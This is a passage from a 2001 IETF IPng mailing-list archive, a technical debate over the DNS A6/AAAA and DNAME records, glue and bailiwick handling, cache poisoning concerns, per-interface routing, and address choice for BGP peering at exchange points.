(8.9.1/8.9.1) with ESMTP id QAA23196; Sat, 5 May 2001 16:51:50 +0700 (ICT) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id f459poc04291; Sat, 5 May 2001 16:51:50 +0700 (ICT) From: Robert Elz To: "D. J. Bernstein" cc: ipng@sunroof.eng.sun.com, namedroppers@ops.ietf.org Subject: Re: AAAA/A6 thing In-Reply-To: <20010505084322.6025.qmail@cr.yp.to> References: <20010505084322.6025.qmail@cr.yp.to> <20010502025329.12205.qmail@cr.yp.to> <200105050600.PAA01995@necom830.hpcl.titech.ac.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 05 May 2001 16:51:50 +0700 Message-ID: <4289.989056310@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: 5 May 2001 08:43:22 -0000 From: "D. J. Bernstein" Message-ID: <20010505084322.6025.qmail@cr.yp.to> | > An implementation may expire a cached NS RR when its glue expires, | | That isn't the RFC 1034 algorithm either. If you're going to claim that | the IETF specifications are right and that all of us cache implementors | are wrong, perhaps you should start by reading the specifications. Huh? That was about records in the cache, right? Implementations are free to expire any cache record any time they like, up to when the TTL expires. Bind used to (maybe still does) wind down the TTL quickly as more queries were made on a name - which sounds exactly backwards, but was very convenient if you noticed some bad data in a cache somewhere and wanted it to go away (just send a lot of queries for the name, the TTL would quickly drop to 0, and the record would be dropped). Of course, bind most likely should never have had the bad record to begin with, but that's beside the point - which is that how or when you expire records in your cache (provided it is done no later than when the TTL expires, or at least immediately before the next query which would have found the entry, which from outside looks the same) is your business - use whatever algorithm you feel best meets performance and reliability aims. | DNS reliability problems | | Out-of-bailiwick pointers destroy DNS lookups in three ways: | | * Every out-of-bailiwick pointer means more queries and more | opportunities for delay: packets are lost and have to be resent. | The chance of finding an answer before client timeout decreases | exponentially with the number of out-of-bailiwick pointers. True. Then we have a balancing act between what is more convenient for me to maintain, and what is going to work well (enough) in practice. There's nothing very unusual about that kind of cost/benefit trade off. The important part is that it is for me, as a zone administrator, to make that decision. And that is the same for NS records and A6 records. | * Caches have to limit the number of queries and the amount of | memory that they dedicate to a single lookup. When these limits | are exceeded, lookups fail. Also true. And that is certainly something that I need to take into account when I am deciding how I will set up my zone. | * As illustrated by the AOL suicide example, every | out-of-bailiwick pointer is another opportunity to create a | loop. When a loop appears, lookups fail. Nonsense. With proper glue, not being improperly ignored, the aol example is just fine. | These problems are not new. Lookups occasionally fail because system | administrators have used too many out-of-bailiwick NS records, for | example. Yes, there can be problems - it is possible for people to break their setups. | (I tell my users to select in-bailiwick server names. My | software automatically uses a.ns.fqdn, b.ns.fqdn, etc. as the default | server names for fqdn. I also tell my users to avoid CNAME records.) That's fine - if I were setting up my domain(s) now for the first time, I'd be naming my nameservers something like that (I might just use ns1 ns2 instead of a.ns - just to save one byte in each name in the packets - but that's so trivial as to be close to irrelevant). That's for when I am delegating my domain to nameservers I run myself. On the other hand, if I were an ISP with 5000 clients domains delegated to me, then the very last thing I am going to be doing is creating 5000 different names for each of my servers, and then having the absolute maintenance nightmare any time I want to change one of their IP addresses. CNAMES are often best avoided, but when used in the simple case "a CNAME b" (where neither "a" nor "b" contains any dots) they work just fine, and doing this can make maintenance easier. But by all means, continue to give operational advice to people on what works well, and why, and what the costs are both ways. Do that for A6 as well as NS records and CNAMES. | What is new with A6 and DNAME is that out-of-bailiwick pointers are | _encouraged_. System administrators are _encouraged_ to set up giant | A6 chains and giant DNAME chains reflecting their corporate Nonsense - we don't yet know what is to be encouraged. What is in the doc is just some possibilities on how they might be used. Until we get operational experience we don't know what to encourage, and what to discourage. But you would certainly be free to give whatever you consider to be good advice to your users as to how to use the things. By all means tell people that only "A6 0" will ever be reliable enough to use, and that they should only ever use A6 in that format. That may even turn out to be correct, though I doubt it. | I refuse to implement A6 and DNAME. That's fine, except ... | I recommend that the A6 and DNAME proposals be terminated. You will therefore certainly be ignored now. What is relevant at this point is operational experience, how easily they can be implemented, and what effects they have on operations when deployed. If you're not even trying to implement them, then you cannot possibly have anything relevant to say on either issue. kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sat May 5 22:55:27 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f465tQIM010880 for ; Sat, 5 May 2001 22:55:27 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f465tQDX010879 for ipng-dist; Sat, 5 May 2001 22:55:26 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f465tHIM010872 for ; Sat, 5 May 2001 22:55:17 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id WAA13647 for ; Sat, 5 May 2001 22:55:16 -0700 (PDT) Received: from ratree.psu.ac.th ([192.100.77.3]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id WAA16966 for ; Sat, 5 May 2001 22:55:13 -0700 (PDT) Received: from brandenburg.cs.mu.OZ.AU (reserv150.coe.psu.ac.th [203.154.146.150]) by ratree.psu.ac.th (8.9.1/8.9.1) with ESMTP id MAA08288; Sun, 6 May 2001 12:55:08 +0700 (ICT) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id f465t4C01132; Sun, 6 May 2001 12:55:05 +0700 (ICT) From: Robert Elz To: Greg Hudson cc: "D. J. Bernstein" , ipng@sunroof.eng.sun.com, namedroppers@ops.ietf.org Subject: Re: AAAA/A6 thing In-Reply-To: <200105051521.LAA15810@egyptian-gods.MIT.EDU> References: <200105051521.LAA15810@egyptian-gods.MIT.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 06 May 2001 12:55:04 +0700 Message-ID: <1130.989128504@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Sat, 05 May 2001 11:21:18 -0400 From: Greg Hudson Message-ID: <200105051521.LAA15810@egyptian-gods.MIT.EDU> | For instance, kre has argued that the bailiwick should not | give special status to a record, but I believe I've seen Dan claim | that BIND applies bailiwick-related logic to prevent malicious cache | poisoning. Is kre arguing against BIND behavior as well as djbdns | behavior? Last time I investigated anyway, BIND drops glue A records from zone transfers, where the glue isn't within the domain delegated (which isn't the same as djb's "bailiwick" definition). And yes, that's broken. I don't think that BIND ignores glue A records in NS responses though, whatever the name of the server concerned (which isn't to say that it necessarily caches them, or that it necessarily uses them, just that they will be used if there isn't better info available). | It does | seem, though, that (a) DNS is pretty much built on client-side | indirection, even if server-side indirection would have been more | robust; Yes, it is - but no, it wouldn't, it would be a maintenance nightmare. That is, if one assumes that the people running things always get it right, but that the software is possibly broken, then server side indirection would be a win. On the other hand, if you assume that the humans get things wrong more often than the software implementors do, then client side indirection wins more often (but yes, it is still possible for the humans to screw that one too - they just need to try harder). | (c) if caches would | accept out-of-bailiwick glue records in the context of the query they | came from, then glue could be added to solve reliability problems as | they crop up. Yes, though you don't mean caches, you mean resolvers. There's no requirement that this data be cached (as with all caches, one must weigh the benefits against the costs of adding an entry). kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun May 6 04:12:42 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f46BCfIM011112 for ; Sun, 6 May 2001 04:12:42 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f46BCfQb011111 for ipng-dist; Sun, 6 May 2001 04:12:41 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f46BCVIM011104 for ; Sun, 6 May 2001 04:12:32 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA22436 for ; Sun, 6 May 2001 04:12:29 -0700 (PDT) Received: from theory.cs.uni-bonn.de (theory.cs.uni-bonn.de [131.220.4.211]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA02662 for ; Sun, 6 May 2001 04:12:29 -0700 (PDT) Received: (from ignatios@localhost) by theory.cs.uni-bonn.de (8.9.1a/8.9.1) id NAA29211; Sun, 6 May 2001 13:04:39 +0200 (MET DST) Date: Sun, 6 May 2001 13:04:39 +0200 From: Ignatios Souvatzis To: itojun@iijlab.net Cc: Mattias Pettersson , Robert Elz , ipng@sunroof.eng.sun.com Subject: Re: Mixed Host/Router behaviour Message-ID: <20010506130439.A29172@theory.cs.uni-bonn.de> References: <3AF2A4E5.F6910E71@era.ericsson.se> <11570.988998536@itojun.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="Kj7319i9nmIyA2yE" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <11570.988998536@itojun.org>; from itojun@iijlab.net on Sat, May 05, 2001 at 02:48:56AM +0900 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk --Kj7319i9nmIyA2yE Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, May 05, 2001 at 02:48:56AM +0900, itojun@iijlab.net wrote: > >Isn't BSD's single routing table (common for all interfaces) conflicting > >with the conceptual model of ND with more or less independent interfaces > >with no routing table for a host implementation but more simple things > >such as neighbor cache, destination cache, default router list etc. for > >each interface? >=20 > even if we conceptually separate routing table per interface, > we'd need to look them up together (as one routing table) when > we make outgoing connection. I don't think it very useful to > have per-interface routing table (I don't think there's big win). Well, consider this scenario: I have an 486/66 machine being the experimental 6BONE router (tunnel to=20 JOIN) here. I also want it to be a 2002::/16 <-> ournetwork router. I do NOT want it to be a 2002::/16 <-> alloftheworld router. Per-interface-routing tables would be a cheap way to do this. (But well, a generic filter mechanism would work fine, too.) -is --Kj7319i9nmIyA2yE Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: 2.6.i iQEVAgUBOvUvvzCn4om+4LhpAQEkyAgApdiCDVNNAtHmT+cfHptADqtif3uFiWZp zUa+WmERDEjB5Db3ow+zYy/WD92JBQEB8HH2EZz05+zpWpfT9J564qbkhNZBd1lE St7sI1qfQB794z2hxff+XGZ0DaagGmFdFHdEE6xXIuGrQZfvYH8ytAzKOzUXjLG2 q10XuMDLvb079OOHwbV0VaqYTLLe1CA4dt3Va7dfNYsA743vJXra4qN89BiwmYgC uQ1Y1o5ZrotHNHyYZFYbVDSDzeeITRNWDwiGgwEJxxFVZIOeUCELitTTXw2Q44SL GdXjEN8OyhtcaA8OxXmawPD+smMjfFO3YV2KlomGMnU0L2Mrv9JMaQ== =ncrX -----END PGP SIGNATURE----- --Kj7319i9nmIyA2yE-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun May 6 08:58:32 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f46FwVIM011253 for ; Sun, 6 May 2001 08:58:32 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f46FwVEl011252 for ipng-dist; Sun, 6 May 2001 08:58:31 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f46FwJIM011245 for ; Sun, 6 May 2001 08:58:20 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA03787 for ; Sun, 6 May 2001 08:58:19 -0700 (PDT) Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA28236 for ; Sun, 6 May 2001 10:41:35 -0600 (MDT) From: Masataka Ohta Message-Id: <200105061551.AAA04950@necom830.hpcl.titech.ac.jp> Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1) id AAA04950; Mon, 7 May 2001 00:51:25 +0900 Subject: Re: AAAA/A6 thing In-Reply-To: <20010505084322.6025.qmail@cr.yp.to> from "D. J. Bernstein" at "May 5, 2001 08:43:22 am" To: "D. J. Bernstein" Date: Mon, 7 May 2001 00:51:24 +0859 () CC: ipng@sunroof.eng.sun.com, namedroppers@ops.ietf.org X-Mailer: ELM [version 2.4ME+ PL68 (25)] Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Dan; > Masataka Ohta writes: > > Glue or an additional A of an NS should be cached, though, for > > security purpose, the cache content may be used only as glue. > > That is not what RFC 1034 says. RFC 1034 is a protocol specification, not an implementation note. It does not specify details of cache management. Still, implementations which can not handle cache properly are broken. > It is, however, similar to the RFC 1034 > algorithm in that it fails to stop the attack. See the Poison section of > http://cr.yp.to/djbdns/notes.html. You have been told it several times already. : From mohta Sun Mar 18 07:53:47 2001 : Subject: Re: Extra records in zone transfers : To: djb@cr.yp.to (D. J. Bernstein) : Date: Sun, 18 Mar 1 7:53:47 JST : Cc: namedroppers@ops.ietf.org : Glue information is local to a zone (actually, local to a referral point : that same name server may have different A records referral by referral, : though such information can not be represented by standard zone file or : zone transfer format), that same name server may have different A : records zone by zone. : : That is the reality of the database and the behaviour is not forbidden : by the specification. : : Thus, glue information may be chached not in global cache but in : cache local to a zone (or, better, local to a referral point). : : Then, different A records from different referral points can be cached : independently and replies can choose appropriate chache. : : Note that your server is wrongly implemented in a way not directly : related to AXFR nor IXFR that, if you want to continue this thread : on correct chaching, you should better use a subject like "multiple : chache". : Subject: Re: AAAA/A6 thing : To: "D. J. Bernstein" : Date: Mon, 30 Apr 2001 18:16:21 +0859 () : CC: namedroppers@ops.ietf.org, ipng@sunroof.eng.sun.com : > Legitimate standards organizations never have any trouble showing people : > the justifications for their decisions. : : As we already discussed with AXFR, you must put glue information in : a separate cache local to a zone (or, better, a referral). RFC 1034 : does not prohibit to do so. : : I thought you had already fixed your broken implementation. > > First of all, it should be noted that you are not anymore arguing > > aginst the fact that A6 is as good as NS. > > On the contrary. http://cr.yp.to/djbdns/killa6.html explicitly covers > both situations together, and then explains why A6 and DNAME are worse: I think you who ignores all the imformation in mails above are not expecting me go all the way to look at your home page. > DNS reliability problems There is none. > Out-of-bailiwick pointers destroy DNS lookups in three ways: > > * Every out-of-bailiwick pointer means more queries and more > opportunities for delay: packets are lost and have to be resent. > The chance of finding an answer before client timeout decreases > exponentially with the number of out-of-bailiwick pointers. > > * Caches have to limit the number of queries and the amount of > memory that they dedicate to a single lookup. When these limits > are exceeded, lookups fail. > > * As illustrated by the AOL suicide example, every > out-of-bailiwick pointer is another opportunity to create a > loop. When a loop appears, lookups fail. It is certainly stupid that people worrying about using up v6 address space hegitated to specify a few fixed address allocation boudaries in A6. However, the stupidity is covered by DNS impelemantations dedicating limited amount of resource to a single look up actual allocation policy considering the DNS implementations. > I refuse to implement A6 and DNAME. For DNAME, that's fine. For A6, your statement is unfounded and you are refusing to implement DNS. Masataka Ohta -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon May 7 03:43:13 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f47AhDIM011951 for ; Mon, 7 May 2001 03:43:13 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f47AhC6Z011950 for ipng-dist; Mon, 7 May 2001 03:43:12 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f47Ah3IM011943 for ; Mon, 7 May 2001 03:43:03 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA17516 for ; Mon, 7 May 2001 03:43:02 -0700 (PDT) Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id FAA00081 for ; Mon, 7 May 2001 05:31:53 -0600 (MDT) Received: from zed.isi.edu (zed.isi.edu [128.9.160.57]) by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f47Ah1P13730; Mon, 7 May 2001 03:43:01 -0700 (PDT) From: Bill Manning Received: (from bmanning@localhost) by zed.isi.edu (8.11.0/8.8.6) id f47Ah1p05243; Mon, 7 May 2001 03:43:01 -0700 Message-Id: <200105071043.f47Ah1p05243@zed.isi.edu> Subject: Re: addresses for BGP peering To: itojun@iijlab.net Date: Mon, 7 May 2001 03:43:00 -0700 (PDT) Cc: bmanning@ISI.EDU (Bill Manning), ipng@sunroof.eng.sun.com In-Reply-To: <2025.988737253@itojun.org> from "itojun@iijlab.net" at May 02, 2001 02:14:13 AM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk % % >> And it was hell to fix. Six routers sharing a broadcast domain. % >> All running ND & all running RA. Which Address do the BGP peer % >> on? % % from the above I don't know if Bill have autoconfigured routers... % did you? Yes. This involved a number of boxes. (see the recent thread on host/router) % anyway, i guess there's a separate issue - what is the best address % to be used for BGP peering at random IXes. is it what you are % talking about? Not really. Although there is discussion on what constitutes appropriate RIR policy for IX use. % my bet is that link-local address (for tcp endpoint address) has % the best resistance against renumber or other events, however, % there are implementations that cannot do this. also it may conflict % with Francis' BGP4+ RFC (but the RFC is not too clear about separation % between tcp/179 endpoint address, and nexthop values - at least for me) Too many problems there. IX'en really need global space. % there are people using addresses that are not reachable from outside, % as i have pointed out in the following. PAIX is using a /32 got from % ISI, however, the prefix used at PAIX is not reachable from outside % if we filter routes based on 6bone routing guideline. % not sure if it is a real problem or not. The 6bone routing guideline is oriented toward ISPs, as are the RIR delegations practices. IX'en are different than ISPs and so the ISP rules applied to IX'en often break. % % To: 6bone@ISI.EDU % Subject: reachability issue with 3ffe:80a::/32 (PAIX IX segment) % From: Jun-ichiro itojun Hagino % Date: Wed, 17 Jan 2001 21:13:59 +0900 % Message-Id: <20010117121359.41CD47E66@starfruit.itojun.org> % Sender: owner-6bone@ISI.EDU % % itojun % -- --bill -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon May 7 04:12:23 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f47BCMIM012009 for ; Mon, 7 May 2001 04:12:23 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f47BCMv4012008 for ipng-dist; Mon, 7 May 2001 04:12:22 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f47BCBIM012001 for ; Mon, 7 May 2001 04:12:11 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA08864 for ; Mon, 7 May 2001 04:12:10 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id EAA11314 for ; Mon, 7 May 2001 04:12:09 -0700 (PDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id A01A14B0B; Mon, 7 May 2001 20:12:04 +0900 (JST) To: Bill Manning Cc: ipng@sunroof.eng.sun.com In-reply-to: bmanning's message of Mon, 07 May 2001 03:43:00 MST. <200105071043.f47Ah1p05243@zed.isi.edu> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: addresses for BGP peering From: itojun@iijlab.net Date: Mon, 07 May 2001 20:12:04 +0900 Message-ID: <7110.989233924@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >% from the above I don't know if Bill have autoconfigured routers... >% did you? > Yes. This involved a number of boxes. (see the recent thread on > host/router) (as there were many comments) RFC2462 is just for hosts, not for routers. >% my bet is that link-local address (for tcp endpoint address) has >% the best resistance against renumber or other events, however, >% there are implementations that cannot do this. also it may conflict >% with Francis' BGP4+ RFC (but the RFC is not too clear about separation >% between tcp/179 endpoint address, and nexthop values - at least for me) > > Too many problems there. IX'en really need global space. could you list some of the problems? the only issue I see is the possible non-uniqueness of 128 bit address (as pointed out by Francis). >% there are people using addresses that are not reachable from outside, >% as i have pointed out in the following. PAIX is using a /32 got from >% ISI, however, the prefix used at PAIX is not reachable from outside >% if we filter routes based on 6bone routing guideline. >% not sure if it is a real problem or not. > The 6bone routing guideline is oriented toward ISPs, as are the RIR > delegations practices. IX'en are different than ISPs and so the ISP > rules applied to IX'en often break. ...therefore I tried to propose a written rule for IX prefix assignment in the following email (like "you should accept /32 routes under 3ffe:800::/24"). do you have any comments? >% To: 6bone@ISI.EDU >% Subject: reachability issue with 3ffe:80a::/32 (PAIX IX segment) >% From: Jun-ichiro itojun Hagino >% Date: Wed, 17 Jan 2001 21:13:59 +0900 >% Message-Id: <20010117121359.41CD47E66@starfruit.itojun.org> >% Sender: owner-6bone@ISI.EDU itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon May 7 06:54:36 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f47DsaIM012183 for ; Mon, 7 May 2001 06:54:36 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f47DsZoi012182 for ipng-dist; Mon, 7 May 2001 06:54:35 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f47DsNIM012175 for ; Mon, 7 May 2001 06:54:24 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA21873 for ; Mon, 7 May 2001 06:54:19 -0700 (PDT) Received: from chiark.greenend.org.uk (chiark.greenend.org.uk [195.224.76.132]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA19804 for ; Mon, 7 May 2001 06:54:18 -0700 (PDT) Received: from (davenant.greenend.org.uk) [172.31.80.6] by chiark.greenend.org.uk with esmtp (Exim 3.12 #2) id 14wlSr-0008Tw-00 (Debian); Mon, 07 May 2001 14:54:18 +0100 Received: from ian by davenant.greenend.org.uk with local (Exim 3.12 #2) id 14wlSn-0006x4-00 (Debian); Mon, 07 May 2001 14:54:13 +0100 From: Ian Jackson MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15094.43269.434847.722184@davenant.relativity.greenend.org.uk> Date: Mon, 7 May 2001 14:54:13 +0100 (BST) To: ipng@sunroof.eng.sun.com, namedroppers@ops.ietf.org Subject: Re: AAAA/A6 thing Newsgroups: chiark.mail.ietf.namedroppers In-Reply-To: References: <20010504085136.15388.qmail@cr.yp.to> <20010504040749.8861.qmail@cr.yp.to> <20010430190948.19724.qmail@cr.yp.to> <200105011429.KAA08968@egyptian-gods.MIT.EDU> <3347.988958757@brandenburg.cs.mu.OZ.AU> X-Mailer: VM 6.75 under Emacs 19.34.1 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Robert Elz writes ("Re: AAAA/A6 thing "): > Where does this bailiwick notion come from? I see no reference to > that anywhere in the DNS specs, etc. This looks to be an invention > that you believe rationalises your approach to glue, and your private > theories as to how people should name their nameservers. It isn't written down in 1034/5. However, it is a necessary concept to avoid cache poisoning. A servers' bailiwick(s) include all the data that that server is listed as a nameserver for (ie, which the cache considering bailiwicks might ask for the data). That includes all zones delegated to that server and all their subzones. Clearly, the security property for the DNS (without DNSSEC) should be that servers' ability to cause answers to be used should be limited to their bailiwick. In order for that to be true then out-of-bailiwick RRsets which appear in answers (eg in the additional section) shouldn't be used (except perhaps as glue - here be dragons). > | If the .com servers want to change the address of > | www.aol.com, they can. > > Only by removing the existing servers and substituting new ones. No, that's not true. Supposing a cache knows nothing about any servers for aol.com. Then if it wants the address of www.aol.com it will ask the servers for .com (ie, it will send them the query `www.aol.com IN A ?'), and if those servers give an answer (www.aol.com A ...) then that answer will be cached and used. This is not an uncommon situation: for example, if a foolish aol.com administrator has listed www.aol.com as a nameserver with the .com servers, then the .com servers *will* return the address of www.aol.com when asked, and the aol.com servers will not be asked in that common case. Indeed, not all subdomains are subzones, and the design of the DNS arranges that caches do not need to know the delegation points unless they actually get a referral. > Otherwise the existing servers rule. They may sometimes be able > to interject a bogus A record for a name - but only until clients > discover the NS records, The .com servers have the ability to make the delegation to aol.com effectively disappear by answering all the queries themselves. That way clients will never discover the NS records, and always ask the .com servers directly. This would even be a trivial configuration change with most server software. Ian. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon May 7 11:20:42 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f47IKfIM012523 for ; Mon, 7 May 2001 11:20:42 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f47IKfq3012522 for ipng-dist; Mon, 7 May 2001 11:20:41 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f47IKWIM012515 for ; Mon, 7 May 2001 11:20:32 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA20289 for ; Mon, 7 May 2001 11:20:31 -0700 (PDT) Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA10728 for ; Mon, 7 May 2001 11:20:30 -0700 (PDT) Received: from zed.isi.edu (zed.isi.edu 